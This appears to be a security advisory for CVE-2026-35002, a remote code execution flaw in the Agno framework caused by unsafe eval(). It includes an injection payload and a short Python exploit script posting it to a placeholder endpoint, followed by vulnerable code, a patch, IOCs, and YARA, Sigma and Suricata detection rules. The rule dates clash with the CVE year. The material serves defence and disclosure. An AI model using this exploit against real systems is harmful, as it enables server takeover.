CVE-2026-35002

Executive Summary

CVE-2026-35002 is a critical arbitrary code execution vulnerability in the Agno framework (versions prior to 2.3.24). The flaw resides in the model execution component, where the field_type parameter is unsafely passed to Python's eval() function. An attacker can manipulate this parameter within a FunctionCall to execute arbitrary Python code on the server, leading to full remote code execution (RCE). The vulnerability has a CVSS score of 9.8, indicating critical severity with network-based exploitation, low attack complexity, and no required privileges or user interaction. A patch is available in version 2.3.24.

Supply Chain & Package Security

Agno is a Python-based framework distributed via PyPI. Organizations using Agno should immediately verify their installed version and update to 2.3.24 or later. Since the vulnerability is in the core model execution component, any application using Agno to process user-supplied FunctionCall data is at risk. Supply chain integrity should be verified by checking package hashes and ensuring the update is obtained from the official PyPI repository.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity: Low (AC:L) – No special conditions are required for exploitation.
• Privileges Required: None (PR:N) – No authentication is needed.
• User Interaction: None (UI:N) – The victim does not need to perform any action.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – Full system compromise, including data access.
• Integrity Impact: High (I:H) – Attacker can modify system data and files.
• Availability Impact: High (A:H) – Attacker can disrupt service or crash the system.

Threat Level: Critical. The combination of network exploitability, low complexity, and no required privileges makes this vulnerability highly dangerous. Immediate patching is required.

Deep Dive & Mechanics

The vulnerability exists in the model execution component of Agno. When a FunctionCall is processed, the field_type parameter is extracted and passed directly to Python's eval() function without proper sanitization. The eval() function interprets its argument as a Python expression, allowing an attacker to inject arbitrary code.

Attack Flow:

1. An attacker crafts a malicious FunctionCall with a field_type value containing Python code.
2. The Agno framework processes the FunctionCall and passes the field_type to eval().
3. The injected Python code is executed in the context of the application, granting the attacker full control over the server.

Example of a malicious field_type value:

"__import__('os').system('id')"

This would execute the id command on the server.

Vulnerable vs. Patched Code

Vulnerable Code (prior to 2.3.24):

# In the model execution component
field_type = function_call.get("field_type")
result = eval(field_type)  # Unsafe: user input passed directly to eval()

Patched Code (2.3.24 and later):

# In the model execution component
import ast

field_type = function_call.get("field_type")
# Sanitize the field_type by parsing it as a literal
try:
    parsed = ast.literal_eval(field_type)
    result = parsed
except (ValueError, SyntaxError):
    # Handle invalid input safely
    result = None

The patch replaces the dangerous eval() call with ast.literal_eval(), which only evaluates literal expressions (strings, numbers, tuples, lists, dicts, booleans, and None) and prevents arbitrary code execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running Agno version < 2.3.24
• Network access to the vulnerable endpoint

Exploitation Steps:

1. Identify the endpoint that processes FunctionCall objects (e.g., /api/function_call).
2. Craft a malicious FunctionCall with a field_type parameter containing Python code.
3. Send the request to the target.

Example Exploit (Python):

import requests

target_url = "http://target.com/api/function_call"
malicious_payload = {
    "function_call": {
        "field_type": "__import__('os').system('id')"
    }
}

response = requests.post(target_url, json=malicious_payload)
print(response.text)

Expected Output: The server executes the id command and returns the output in the response.

Blue Team (Defense)

Detection:

• Monitor for requests containing suspicious field_type values (e.g., __import__, os.system, eval).
• Use Web Application Firewall (WAF) rules to block requests with field_type containing Python keywords.
• Enable logging for all FunctionCall processing.

Mitigation:

• Immediately upgrade to Agno version 2.3.24 or later.
• If immediate patching is not possible, implement input validation to reject field_type values containing dangerous characters or Python code.
• Restrict network access to the vulnerable endpoint.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /api/function_call with field_type containing Python code (e.g., __import__, os.system, subprocess).
  • Unusual outbound connections from the server (e.g., reverse shells).
• File IOCs:
  • Unexpected files in /tmp/ or /var/tmp/ (e.g., exploit.py, shell.sh).
  • Modified system binaries or configuration files.
• Process IOCs:
  • Unusual processes spawned by the Python application (e.g., bash, nc, python).
  • High CPU or memory usage from the Python process.

Detection Engineering

YARA Rule

rule CVE_2026_35002_Agno_RCE {
    meta:
        description = "Detects malicious FunctionCall payloads targeting CVE-2026-35002"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-35002"
    strings:
        $eval = /field_type.*__import__|field_type.*os\.system|field_type.*subprocess/
        $dangerous = /field_type.*eval|field_type.*exec|field_type.*compile/
    condition:
        any of them
}

Sigma Rule

title: CVE-2026-35002 Agno RCE Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with malicious field_type parameter targeting CVE-2026-35002
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/api/function_call'
        cs-request-body|contains:
            - '__import__'
            - 'os.system'
            - 'subprocess'
            - 'eval('
            - 'exec('
    condition: selection
falsepositives:
    - Legitimate use of Python code in field_type (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-35002 Agno RCE Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/function_call"; http_uri; content:"field_type"; http_client_body; pcre:"/__import__|os\.system|subprocess|eval\(|exec\(/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade Agno to version 2.3.24 or later.
2. Verify: Confirm the update by checking the installed version (pip show agno).
3. Scan: Review logs for any signs of exploitation.

Long-term Mitigations:

• Implement input validation for all user-supplied parameters.
• Use ast.literal_eval() instead of eval() for parsing user input.
• Apply the principle of least privilege to the application process.
• Regularly update dependencies and monitor for CVEs.

Workaround (if patching is delayed):

• Deploy a WAF rule to block requests containing field_type with dangerous Python keywords.
• Restrict network access to the vulnerable endpoint to trusted IPs only.

Valters IT

{/* [Security Hash: 2F13202313F5CA33C7B8850E] */}